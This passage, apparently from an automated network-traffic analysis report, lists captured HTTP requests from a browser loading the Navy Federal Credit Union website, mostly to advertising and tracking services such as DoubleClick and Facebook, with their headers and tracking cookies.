bm_sz=C98C612E331275F90CF452AA828D169C~YAAQVLMUAgtBzI6PAQAA4gnIrBexPK2buvaIlAsjLxHVP3Ie+QbggMzzw9sXydGC7RuXQc57KDoKbKGMsAJw7f/COKM3KgIvCZ9AQuXHr8oI+HqT9VO2nDfY/067C9LIxx8PUvottpnmyP3OVPYfZ84yh+Yqaem1XupVyT0ELtQ5QhFUx/bHZMMeKwxZOr+QpV3rJYax/bCAkOR6im+Tq4Dtf84guDjrm9whq6VRhANhWPEYna/xmLmunZymSfPUtFqz+9b3gutKDkj1YFcc3Fd4MkXiWnoqeCkTOFvxevSVEQiA+nEP/jIsT6IlywPh6xE+k2I7s1PqKrj15k1MHTuMS0S/xQh0cn3UIIOezLDuDD440A86dMeks06UsbDiordvXXoMH8rI~3421766~3490627; at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; s_ecid=MCMID%7C19471654271041955080390332448085131267; AMCV_9BD537045330573C0A490D44%40AdobeOrg=179643557%7CMCIDTS%7C19868%7CMCMID%7C19471654271041955080390332448085131267%7CMCAAMLH-1717195550%7C6%7CMCAAMB-1717195550%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1716597950s%7CNONE%7CMCAID%7CNONE%7CvVersion%7C5.5.0; mbox=session#acc9edf75c184210ac74e72cc44d0f35#1716592612\|PC#acc9edf75c184210ac74e72cc44d0f35.37_0#1779835552; _uetsid=607966601a1f11efa322cb73d28c2c39; _uetvid=60798c801a1f11ef8df44d2f5f4
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=ZlEYowAAANH-YANe HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=15028710952493579300771312513576972253; dpm=15028710952493579300771312513576972253
Source: global traffic	HTTP traffic detected: GET /A4334543-ba62-4b3a-8fd7-189cf833d2dd1.js HTTP/1.1Host: utt.impactcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2F&rl=&if=false&ts=1716590756256&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590754132&coo=false&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/fls/rul/activityi;fledge=1;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2F&rl=&if=false&ts=1716590756256&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590754132&coo=false&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: trigger=navigation-source, event-sourceReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: 9749892.fls.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: 9749892.fls.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?c=16b6410431b6374e780104abb0443ca8&p=ac2d76520490ec74c91b16b6cd806c4a&k=navy-federal-credit-union-pixel-4762&zmpID=navy-federal-credit-union&cache_buster={cache_buster} HTTP/1.1Host: live.rezync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: 2992003.fls.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tv2track.js HTTP/1.1Host: collector-11598.tvsquared.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/2779.js HTTP/1.1Host: cdn.pbbl.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uwt.js HTTP/1.1Host: static.ads-twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ping.min.js HTTP/1.1Host: cdn.pdst.fmConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;dc_pre=CPmT-vKup4YDFd50QQIdxWULrA;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: 9749892.fls.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: not-navigation-source, trigger, event-sourceReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: trigger, event-sourceReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source, triggerReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /up_loader.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;dc_pre=CICW_fKup4YDFatfQQIdj2MHQA;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: 2992003.fls.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /ddm/activity/src=9749892;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /activityi;dc_pre=CPmR_PKup4YDFT1vQQId598InA;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: 9749892.fls.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /ddm/activity/src=9749892;dc_pre=CLOv4POup4YDFUrHOwId8L0J4A;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnlUhvdgzTfGFaagIdXpVTk2rsMHclS3a78KBF_JH5EMjaz13u7tXLxYkKT7-8
